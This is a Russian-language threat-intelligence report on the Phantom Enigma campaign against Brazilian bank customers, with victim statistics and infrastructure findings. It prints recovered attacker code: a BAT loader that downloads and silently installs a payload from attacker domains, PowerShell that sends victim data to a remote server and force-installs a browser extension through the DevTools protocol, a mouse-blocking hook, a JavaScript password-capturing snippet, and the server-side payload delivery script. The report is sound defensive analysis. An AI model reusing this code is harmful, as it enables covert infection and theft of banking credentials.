Автор:
Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Климентий Галкин
Специалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Phantom Enigma — хакерская группировка, действующая предположительно с территории Латинской Америки и использующая в своих атаках вредоносное расширение для браузеров Chrome, Brave, Firefox и других. Основная цель — финансовое обогащение путем кражи учетных данных от аккаунтов пользователей в бразильских банках. Во время исследования группировки было обнаружено два варианта атак: атаки на компании для расширения своей инфраструктуры с использованием программ для удаленного доступа и атаки на обычных пользователей — с вредоносным расширением для кражи учетных данных.
Больше информации об этой группировке вы можете получить на нашем портале PT Fusion.
Летом 2025 года команда Threat Intelligence экспертного центра кибербезопасности Positive Technologies проанализировала вредоносную кампанию Phantom Enigma, направленную преимущественно на жителей Бразилии с целью кражи банковских аккаунтов. Помимо атак на обычных пользователей, были зафиксированы атаки на организации по всему миру с целью расширения инфраструктуры для дальнейших атак.
Компьютеры пользователей заражались вредоносным расширением для браузеров Firefox, Google Chrome и Microsoft Edge, а инфраструктура организаций попадала под контроль инструментов для удаленного управления, таких как PDQ Connect и Mesh Agent.
Осенью 2025 года специалисты группы киберразведки снова зафиксировали подобные атаки, наблюдая изменения в инструментарии и техниках закрепления. Именно об этих изменениях мы и расскажем вам далее.
Атаки, как и в предыдущей кампании начинаются с фишинга (рис. 1), однако в последних активностях не наблюдается писем с вредоносными вложениями: в большинстве писем используется ссылка на скачивание вредоносной нагрузки с фишинговой страницы (рис. 2). Рассылки велись с четырех IP-адресов:


Цепочка атаки на обычных пользователей изменилась незначительно:
Атака на организации включает в себя использование утилит для мониторинга и удаленного управления системой (RMM). Тут цепочка намного проще:
Далее мы подсветим актуальные индикаторы компрометации, а также покажем изменения во вредоносном коде атакующих.
Дальше в рассказе мы будем давать точные гиперссылки на разделы из прошлой статьи, чтобы наглядно показать изменения в инструментах атакующих.
В прошлых атаках BAT-скрипт использовался для загрузки PowerShell-скрипта из открытой директории на сервере злоумышленников. Перед этим BAT-скрипт проверял наличие обновленного интерпретатора PowerShell и прав администратора.
Новый BAT-скрипт выглядит так:
cls
@echo off
setlocal enabledelayedexpansion
:: =============================================
:: DETECTAR SE JÁ ESTÁ ELEVADO (ADMINISTRADOR)
:: =============================================
whoami /groups | find "S-1-5-32-544" >nul
if %errorlevel% neq 0 (
:: REINICIAR COM ADMIN, mas SEM JANELA extra
powershell -Command "Start-Process cmd.exe -ArgumentList '/c \"%~f0\" __ADMIN__=1' -Verb RunAs"
exit /b
)
:: =============================================
:: APÓS ELEVADO → REDUZIR JANELA E FICAR SILENCIOSO
:: =============================================
if "%1"=="__ADMIN__=1" (
mode con cols=10 lines=1 >nul 2>&1
cls >nul 2>&1
)
cd /d "%~dp0"
:: =============================================
:: SISTEMA DE DOMÍNIOS ALEATÓRIOS
:: =============================================
set COUNT=0
set "DOMAINS[0]=https://webrelayapi[.]online/getloader.php"
set "DOMAINS[1]=https://atual2025[.]com/getloader.php"
set "DOMAINS[2]=https://notifica-modulo[.]com/getloader.php"
set COUNT=3
set /A INDEX=%RANDOM% %% COUNT
set "SELECTED_URL=!DOMAINS[%INDEX%]!"
:: =============================================
:: VERIFICAR INSTALAÇÃO
:: =============================================
if exist "%PUBLIC%\Documents\u.dat" exit /b 0
:: =============================================
:: 1. BAIXAR JSON E CONVERTER ZIP
:: =============================================
curl -s "!SELECTED_URL!" -o data.json
powershell -WindowStyle Hidden -Command ^
"Add-Type -AssemblyName System.Web; $j=Get-Content 'data.json' -Raw|ConvertFrom-Json; if($j.status -eq 'success'){[IO.File]::WriteAllBytes('output.zip',[Convert]::FromBase64String($j.encoded_data))} "
if not exist output.zip exit /b 1
:: =============================================
:: 2. BAIXAR 7ZIP E EXTRATIR
:: =============================================
curl -s "https://www.7-zip.org/a/7za920.zip" -o 7za.zip
powershell -WindowStyle Hidden -Command ^
"Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('7za.zip','temp')" 2>nul
:: =============================================
:: 3. EXTRAR ZIP E INSTALAR
:: =============================================
temp\7za.exe x output.zip -p204053 -o"%PUBLIC%\Documents" -y >nul
for %%i in ("%PUBLIC%\Documents\*.msi") do (
msiexec /i "%%i" /qn /norestart >nul
)
:: =============================================
:: FINALIZAR
:: =============================================
echo ✓ > "%PUBLIC%\Documents\u.dat"
del data.json output.zip 7za.zip 2>nul
rmdir /s /q temp 2>nul
del "%PUBLIC%\Documents\*.msi" 2>nul
exit /b
Результат выполнения BAT-скрипта — загрузка файла установщика с одного из серверов злоумышленников, его распаковка и запуск. Структура данных, получаемая от конечной API-ссылки getloader.php, выглядит так:
{
"status": "success",
"version": "2.0",
"domain": "<C2>",
"file_info": {
"original_name": "NotaFiscal.pdf.zip",
"file_size": 57533,
"encoded_size": 76712,
"checksum": "077ce8f9fae6a4d3f8d9972c6a0fa684",
"password_required": true
},
"encoded_data": "<BASE64_DATA>",
"timestamp": 1763724397,
"server_id": "racknerd-f982c94",
"instructions": "Use a senha: <password> para extrair o arquivo"
}
Существует и другой вариант BAT-скрипта, который выполняет те же действия, но вредоносная нагрузка скачивается со страницы GitHub.


Теперь установщик, в отличие от предыдущих версий, сразу содержит PowerShell-скрипт, запускаемый через планировщик задач, и ряд других архивов, о которых мы расскажем дальше. Сам скрипт установщик запускает через запланированную задачу KalebAutoRun:
RunKalebViaScheduler 3106 INSTALLFOLDER cmd.exe /c schtasks /create /tn "KalebAutoRun" /tr "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"C:\Users\Public\Documents\kaleb.ps1\"" /sc once /st 00:00 /ru %USERDOMAIN%\%USERNAME% /rl HIGHEST /f && schtasks /run /tn "KalebAutoRun"
Вот фрагмент скрипта:

Алгоритм работы скрипта:
EnigmaUiLauncher — это вредоносный PowerShell-скрипт, который мы встречали в вариантах для Chrome (chrome.ps1, chr.ps1) и Edge (edge.ps1). Функциональные возможности EnigmaUiLauncher намного шире, чем у PowerShell-скрипта и JavaScript-кода, о которых мы говорили в разделе про MSI-установщик из прошлых атак. Во время работы скрипта результаты работы логируются на внешний сервер через HTTPS.
Логирование выглядит так:
$global:logFileName2 = "LOG_$((Get-Date).ToString('yyyy-MM-dd_HH_mm')).json"
function Log-Message {
param (
[string]$mensagem2,
[string]$etapa2 = "INFO",
[bool]$success = $true,
[hashtable]$meta2 = $null
)
try {
$bexiga = $env:COMPUTERNAME
# --- [AJUSTE] --- Adiciona log_file_name ao payload
$payload2 = @{
computer = $bexiga
log_file_name = $global:logFileName2
etapa = $etapa2
success = $success
mensagem = $mensagem2
meta = $meta2
timestamp = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ss")
} | ConvertTo-Json -Depth 20
# --- FIM DO AJUSTE ---
# Envia para a API (ajuste a URL se necessário)
try {
$apiEndpoint = "https" + "://novoservidor2026[.]com/painelgpt/api.php"
Invoke-RestMethod -Uri $apiEndpoint -Method Post -Body @{ log = $payload2 } -ErrorAction Stop | Out-Null
} catch {
# Se falhar, ainda escrevemos no console (não interrompe execução)
Write-Host "Falha ao enviar log para API: $($_.Exception.Message)"
}
# Print localmente também para debug direto
Write-Host "[$etapa2] ($([string]$success)) $mensagem2"
if ($meta2) {
Write-Host " meta: $($meta2 | ConvertTo-Json -Depth 5)"
}
}
catch {
# Write-Host "Erro em##Log-Message: $_"
}
}
Сначала скрипт запускает задачу с блокировщиком нажатий кнопок мыши (подробнее см. EnigmaInterceptor):
$cmd = "'powershell.exe' -NoProfile -WindowStyle hidden -ExecutionPolicy Bypass -File c:\users\public\documents\mso.ps1"
schtasks /create /tn "msee" /tr $cmd /sc once /st 23:59 /rl HIGHEST /ru $user /it /f
Start-sleep -Seconds 2
schtasks /run /tn "msee"
После запуска задачи происходит несколько проверок, чтобы убедиться, что пользователь зараженной системы находится в Бразилии. При этом скрипт в любом случае продолжает работу:
Фрагмент кода с проверкой истории браузера:
$giboia2 = "C:\Users"
$umping2 = Join-Path -Path $giboia2 -ChildPath $user
$userData = Join-Path -Path $umping2 -ChildPath "AppData\Local\Microsoft\Edge\User Data"
$diretoriosBase = @("$userData")
foreach ($diretorioBase in $diretoriosBase) {
try {
Get-ChildItem -Path $diretorioBase -Recurse -File -Filter "HISTORY" -ErrorAction SilentlyContinue | ForEach-Object {
try {
$resultado = Verificar-History -arquivo $_.FullName
if ($resultado) {
Log-Message "Arquivo: $($_.FullName)" "HISTORY_FILE" $true @{ arquivo = $_.FullName }
$resultado.GetEnumerator() | ForEach-Object {
Log-Message "$($_.Key): $($_.Value)" "HISTORY_MATCH" ($_.Value -eq "Encontrado") @{ pattern = $_.Key; status = $_.Value }
}
} else {
Log-Message "Arquivo HISTORY vazio ou inacessível: $($_.FullName)" "HISTORY_FILE" $false @{ arquivo = $_.FullName }
}
} catch {
Log-Message "Erro ao processar arquivo HISTORY $($_.FullName): $_" "HISTORY_FILE" $false
}
}
} catch {
Log-Message "Erro ao enumerar $diretorioBase: $_" "HISTORY_SEARCH" $false
}
}
Самая важная часть — алгоритм установки вредоносного расширения путем нажатия определенных кнопок в браузере жертвы. В коде определено несколько классов и функций, которые позволяют манипулировать положением окна браузера и его элементами (кнопками, полями ввода). Вот их полный список.
| Функция | Описание |
| Clear-EditField | Очистка поля ввода. Работает на основе функции SendMessage, в которую передается дескриптор окна кнопки и системное сообщение WM_CLEAR |
| Click-Button | Нажатие на кнопку. Аналогично очистке вызывается WinAPI-функция SendMessage, в качестве аргумента используется сообщение с кодом 0×00F5 |
| Find-ChildWindowByClass | Поиск дочернего окна по названию класса. Работает на основе WinAPI-функции EnumChildWindows |
| Find-EdgeWindowByTitle | Циклический поиск окон, у которых в названии есть подстроки edge и microsoft. Работает на основе функции EnumWindows |
| Find-EdgeWindowByTitle2 | Аналогично Find-EdgeWindowByTitle |
| Find-WindowByExactTitle | Аналогично Find-EdgeWindowByTitle, только работает не для браузера Edge (Chrome), а для подстрок Selec и extens |
| Get-EdgeWindow | Возвращает дескриптор окна активного процесса браузера |
| Get-TextFromEditField | Получает 256 байт из поля ввода по его дескриптору, используя WinAPI-функцию SendMessage с кодом WM_GETTEXT |
| Hide-Edge | Прячет активное окно браузера, перемещая его с помощью WinAPI-функции SetWindowPos на отрицательные координаты (−9999, −9999), устанавливая размер окна в 800×600 |
| Insert-TextIntoEdit | Устанавливает в поле ввода с указанным дескриптором текст из переменной $text путем использования WinAPI-функции SendMessage с кодом WM_CHAR |
| Monitor-WindowAndClickButton2 | В качестве аргумента принимает текст кнопки, которую нужно найти, — Selecionar pasta (Выберите папку), и полный путь к вредоносному расширению. Количество попыток поиска кнопки с переданным текстом регулируется параметром функции maxAttempts и изначально равно 30. Используя ранее описанную функцию Find-WindowByExactTitle, этот код находит в браузере вкладку Select Extension (Выберите расширение), по дескриптору полученной вкладки находит кнопку и поле для ввода. Нажимает на кнопку и вводит текст в поле для указания пути к расширению |
| Move-EdgeMultipleTimes | Вызывает функцию Move-EdgeWindow столько раз, сколько указано в переменной $times. По умолчанию значение переменной равно 4 |
| Move-EdgeSingleTime | Аналогично Move-EdgeMultipleTimes |
| Move-EdgeWindow | Перемещает окно браузера на координаты 999999, 999999 |
| Restore-EdgeWindowPosition | Возвращает окно браузера на позицию с координатами 800, 200 и с размером 800×600 |
| Send-CDPCommand | Отправка команд в браузере через Chrome DevTools. Используется для импорта расширения. Подробнее об этом ниже |
| Send-CDPCommandDirect | Аналогично Send-CDPCommand, но команда отправляется уже определенной вкладке по ее идентификатору |
| Show-Edge | Выводит окно браузера на позицию с координатами 100, 100 и размером 1200×800 |
Остановимся на функциях Send-CDPCommand и Send-CDPCommandDirect. Вот отрывок кода из первой функции:
function Send-CDPCommand {
param (
[string]$url,
[string]$method,
[hashtable]$params,
[string]$sessionId = $null
)
try {
$client = [System.Net.WebSockets.ClientWebSocket]::new()
$uri = [System.Uri]$url
Write-Host "Conectando-se ao WebSocket: $url"
##Log-Message "Connect WebSocket (Send-CDPCommand)" "CDP" $true @{ url = $url }
$client.ConnectAsync($uri, [Threading.CancellationToken]::None).Wait()
if ($client.State -ne [System.Net.WebSockets.WebSocketState]::Open) {
Write-Error "Falha de conexão CDP"
##Log-Message "Falha de conexão CDP (Send-CDPCommand)" "CDP" $false @{ url = $url; state = $client.State.ToString() }
return $null
}
# Montar a mensagem JSON
$msg = @{
id = 1
method = $method
params = $params
}
if ($sessionId) { $msg.sessionId = $sessionId }
$msgJson = $msg | ConvertTo-Json -Depth 10
Write-Host "Enviando comando CDP: $msgJson"
##Log-Message "Enviando comando CDP" "CDP_SEND" $true @{ method = $method; params = $params; msg = $msgJson }
# Enviar a mensagem
$bytes = [System.Text.Encoding]::UTF8.GetBytes($msgJson)
$segment = [System.ArraySegment[byte]]$bytes
$client.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [Threading.CancellationToken]::None).Wait()
# Receber a resposta
$buffer = New-Object Byte[] 4096
$recvSegment = [System.ArraySegment[byte]]$buffer
$recvResult = $client.ReceiveAsync($recvSegment, [Threading.CancellationToken]::None).Result
$respJson = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $recvResult.Count)
Write-Host "Resposta do comando CDP: $respJson"
##Log-Message "Resposta do CDP recebida" "CDP_RECV" $true @{ response = $respJson }
return $respJson
} catch {
Write-Host "Erro ao enviar comando CDP: $_"
##Log-Message "Erro ao enviar comando CDP: $_" "CDP" $false
return $null
}
}
Цель функции — через протокол CDP (Chrome DevTools Protocol) выполнить JavaScript-код, импортирующий вредоносное расширение. Более подробно с этим протоколом можно ознакомиться по ссылке. Чтобы работать через сокет по этому протоколу, нужно запустить браузер в режиме отладки — это делается ранее в PowerShell-скрипте. Вот пример команды с аргументами:
schtasks /create /tn "$novoNome2" /tr "'$edgeExe' --remote-debugging-port=9223 --user-data-dir='$userDataTemp'" /sc once /st 23:59 /rl HIGHEST /ru $user /it /f
schtasks /run /tn "$novoNome2"
В контексте EnigmaUiLauncher выполняются следующие команды:
$devtoolsJson = Invoke-RestMethod "http://localhost:$debugPort/json/version"
$wsUrl = $devtoolsJson.webSocketDebuggerUrl
$targetResponse = Send-CDPCommand -url $wsUrl -method "Target.createTarget" -params @{ url = "edge://extensions" }
$newJs = "(function(){var c=document.getElementById('developer-mode');if(c&&!c.checked)['mousedown','mouseup','click'].forEach(e=>c.dispatchEvent(new MouseEvent(e,{view:window,bubbles:true,cancelable:true,buttons:1})));setTimeout(()=>{for(var q of document.getElementsByTagName('button')){var t=q.getAttribute('title')||'';if(t.includes('sem pacote')||t.includes('unpacked')){q.click();break;}}},1000);})();"
Write-Host $wsUrl
$paramsNewJs = @{ expression = $newJs }
$targetWsUrl = "ws://localhost:$debugPort/devtools/page/$targetId"
Send-CDPCommandDirect -wsUrl $targetWsUrl -method "Runtime.evaluate" -params $paramsNewJs
В итоге алгоритм работы EnigmaUiLauncher выглядит так:
Сам скрипт представляет из себя простой класс на C#, который выставляет перехват на нажатие левой кнопки мыши и блокирует это событие через BlockMouseClicks:
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class MouseInterceptor {
[DllImport("user32.dll")]
public static extern int SetWindowsHookEx(int idHook, MouseHookDelegate lpfn, IntPtr hInstance, uint threadId);
[DllImport("user32.dll")]
public static extern bool UnhookWindowsHookEx(int idHook);
[DllImport("user32.dll")]
public static extern int CallNextHookEx(int idHook, int nCode, IntPtr wParam, IntPtr lParam);
public delegate int MouseHookDelegate(int nCode, IntPtr wParam, IntPtr lParam);
public const int WH_MOUSE_LL = 14;
public const int WM_LBUTTONDOWN = 0x201;
public const int WM_LBUTTONUP = 0x202;
public static int HookId = 0;
public static int BlockMouseClicks(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_LBUTTONDOWN) {
// Se o botão esquerdo for pressionado, ignorar o evento
return 1; // Ignora o clique
}
return CallNextHookEx(HookId, nCode, wParam, lParam);
}
}
"@
# Criar um delegate diretamente para a função BlockMouseClicks
$hookDelegate = [MouseInterceptor+MouseHookDelegate] {
param ($nCode, $wParam, $lParam)
return [MouseInterceptor]::BlockMouseClicks($nCode, $wParam, $lParam)
}
$hookInstance2 = [System.IntPtr]::Zero
$hookId = [MouseInterceptor]::SetWindowsHookEx([MouseInterceptor]::WH_MOUSE_LL, $hookDelegate, $hookInstance2, 0)
Start-Sleep -Seconds 60
[MouseInterceptor]::UnhookWindowsHookEx($hookId)
Start-Sleep 1; Remove-Item "C:\users\public\documents\ambiente.msi" -Force
Start-Sleep 1; Remove-Item $MyInvocation.MyCommand.Path -ForceОсновное изменение, связанное с вредоносным расширением EnigmaBanker, — постепенный отказ от использования магазинов расширений (например, Chrome Web Store). К техническим изменениям можно отнести следующие:
document.addEventListener('input', (event) => {
const target = event.target
if (target.name === 'senha' && target.value.length === 8) {
const segredo = target.value;
const campoj = document.getElementsByName('identificador')[0];
const segredoj = campoj?.value || '';
const messageKey = `${segredo}-${segredoj}-${Date.now()}`;
if (!messagesSent.has(messageKey)) {
chrome.runtime.sendMessage({
s: segredo,
j: segredoj
}, function (response) {
return false;
});
messagesSent.add(messageKey);
setTimeout(() => messagesSent.delete(messageKey), 5000);
}
}
});
const clearPasswordField = () => {
const campo = document.getElementsByName("senha")[0];
if (campo && !campo.hasAttribute('data-cleared')) {
campo.value = "";
campo.setAttribute('data-cleared', 'true');
}
};
Сам код Background Worker’а остался без серьезных изменений.
В ходе исследования вредоносных файлов мы обнаружили несколько доменов, имеющих разное предназначение:
Значительная часть доменов мимикрирует под банковскую сферу, тему накладных или под легитимные узлы инфраструктуры: используются слова nota, fiscal, computador, eletronica, system и другие. Сама инфраструктура теперь находится за Cloudflare-балансировщиками.
Другой пример поиска конечных серверов для вредоносных расширений — работа с HTML-разметкой панели входа. Так, например, перейдя по ссылке http://systemcloud26[.]com/ (домен из исходного кода вредоносного расширения браузера), можно заметить заголовок Login - Painel и использование инструмента для сбора статистики. Учитывая то, что рассматриваемый сервер находится за серверами Cloudflare, можно выйти на ряд других вредоносных доменов:
Результаты поиска удалось проверить, перейдя по ссылке /enjoy.php.
Изучая узлы вредоносной инфраструктуры более детально, мы обнаружили любопытную страницу (рис. 7). Часть ссылок на момент написания статьи уже не работала, но нам удалось разобраться в оставшихся путях.

Ссылка на эндпойнт /backup.php позволяла сгенерировать файл с резервной копией определенного содержимого (рис. 9) и сохранить его на сервер по пути /backups/<filename>. В результате архив с резервной копией давал доступ к исходному коду других эндпойнтов (например, к панели мониторинга).


Файлы ip_cache.json и monitor_access.json содержат информацию о датах обращения всех IP-адресов к панели управления. Файл downloads.log хранит информацию о скачивании файла с определенного IP-адреса в следующем формате:
2025-11-21 11:26:37 DOMAIN:<Evil Domain> IP:<IP> SIZE:57533 STATUS:SUCCESS
[2025-11-23 03:34:17] Folder: DIRECT_DOWNLOAD | File: documento_seguro.zip | IP: <IP>
Файл reset.log хранит информацию о клиенте, который нажал на кнопку сброса статистики скачиваний файлов, в следующем формате:
[2025-11-23 20:34:50] RESET: Downloads zerados por <IP>Ссылка на /monitor.php содержала подробную статистику посещений некоторых из вредоносных доменов, а также количеству скачиваний вредоносной нагрузки (рис. 10). Данные в этой панели позволили выйти на другие домены инфраструктуры и оценить активность по каждому из них.

Вот фрагмент исходного кода панели:

Помимо названий файлов с журналами событий, в этом коде можно заметить еще ряд особенностей:
Последняя, но немаловажная часть резервной копии — исходный код на стороне сервера, который формирует ответ с полезной нагрузкой для системы жертвы. Именно к ней обращается BAT-скрипт, который мы рассмотрели ранее, — /getloader.php. Вот фрагмент исходного кода:
$ip = getRealIP();
$country = getCountryWithCache($ip);
// **BLOQUEIO APENAS SE DETECTAR PA�S DIFERENTE DE BRASIL**
if ($country !== null && $country !== 'BR') {
logBlockedAccess($ip, 'Fora do Brasil', $country);
deliverEmptyZip();
}
// ================================
// ENTREGA DO ARQUIVO REAL (ZIP BASE64)
// ================================
if (!file_exists($zip_file)) {
deliverEmptyZip();
}
$content = file_get_contents($zip_file);
$size = filesize($zip_file);
$base64 = base64_encode($content);
$domain = $_SERVER['SERVER_NAME'] ?? 'desconhecido';
// Log para servidor mestre
$payload = json_encode([
"token" => $MASTER_TOKEN,
"datetime" => date("Y-m-d H:i:s"),
"domain" => $domain,
"file" => basename($zip_file),
"size" => $size,
"ip" => $ip,
"country" => $country,
"status" => "success"
], JSON_UNESCAPED_SLASHES);
$ch = curl_init($master_collector);
curl_setopt_array($ch, [
CURLOPT_POST => 1,
CURLOPT_POSTFIELDS => $payload,
CURLOPT_HTTPHEADER => ["Content-Type: application/json"],
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3
]);
curl_exec($ch);
curl_close($ch);
// Retorna o arquivo real (JSON para o .BAT)
echo json_encode([
"status" => "success",
"encoded_data" => $base64,
"password" => "204053",
"size" => $size
]);
Этот фрагмент — ключевой в коде. Благодаря ему можно понять, на что влияет проверка бразильских пользователей. Если система жертвы находится не на территории Бразилии согласно данным ipinfo[.]io, сервер возвращает файл, заполненный нулевыми байтами. Если же все в порядке — возвращается уже известный JSON-объект с паролем для распаковки архива.
В любом случае при обращении за полезной нагрузкой IP-адрес системы жертвы кэшируется в отдельный файл и хранится там один час. Сделано это для того, чтобы не расходовать API-запросы по токену, которых в бесплатной версии IPInfo — 50 000 в месяц.
Когда мы говорим об атаках группировки Phantom Enigma, всегда стоит разделять жертв на две категории: на компании и обычных пользователей. Далее мы покажем статистику по этим категориям за сентябрь — ноябрь 2025 года.
В ходе исследования мы обнаружили более 3500 вредоносных файлов, а панель мониторинга злоумышленников показывала около 5390 скачиваний первоначальной полезной нагрузки (.bat и .vbs-файлы). Учитывая то, что скачивание загрузчика невозможно из других стран, кроме Бразилии, 5273 скачивания оказались корректными. Скачиваний установщиков сильно меньше — 143. Обосновано это тем, что существующие антивирусные решения достаточно хорошо блокируют разработанные скрипты.
Для расширения инфраструктуры группировка заражает организации из различных сфер экономики. Используя телеметрию и данные из открытых источников, мы определили, что потенциальными жертвами вредоносной рассылки могли стать организации из сферы консалтинга и менеджмента, а также компании из отраслей логистики, ритейла, химической промышленности и ИТ. Количество таких атак на порядок меньше: всего обнаружено около 15 файлов.
Внимательно изучив скрипты, используемые группировкой Phantom Enigma, мы выявили ряд особенностей. Учитывая эти уникальные признаки и географию атак, можно делать предположения о местонахождении участников группировки.
Большая часть скриптов написана с помощью чат-ботов вроде ChatGPT, DeepSeek и других. На это указывает несколько моментов:
// monitor.php - SISTEMA COMPLETO MULTI-DOMÍNIO (LOG JSON + LOADER + EMOJIS)
# --- [AJUSTE] --- Adiciona log_file_name ao payload
Write-Host "✅ Janela do Edge movida com sucesso."
Write-Host "❌ Janela do Edge não encontrada. Tentando novamente..."
С учетом жертв и географии атак первой кампании исследования, а также особенностей кода скриптов можно предположить, что злоумышленники находятся на территории Латинской Америки.
Группировка Phantom Enigma остается активной на территории Латинской Америки, совершенствуя свою цепочку атаки. При этом возможны жертвы на территории других стран, так как для злоумышленников не имеет значения, какую компанию и в какой стране они взломали. Статистика с обнаруженных серверов указывает на массовость атак группировки, а ограничения на стороне сервера и проверки на стороне вредоносного кода скриптов, указывают на то, что атаки нацелены на пользователей из Бразилии.
То, как злоумышленники закрепляют свое расширение в системе, позволяет им имитировать поведение пользователя и с большей вероятностью оставаться незамеченными. Переход к использованию вредоносного расширения, интегрированного в установщик, исключает необходимость обходить механизмы защиты Chrome Web Store и подобных сервисов.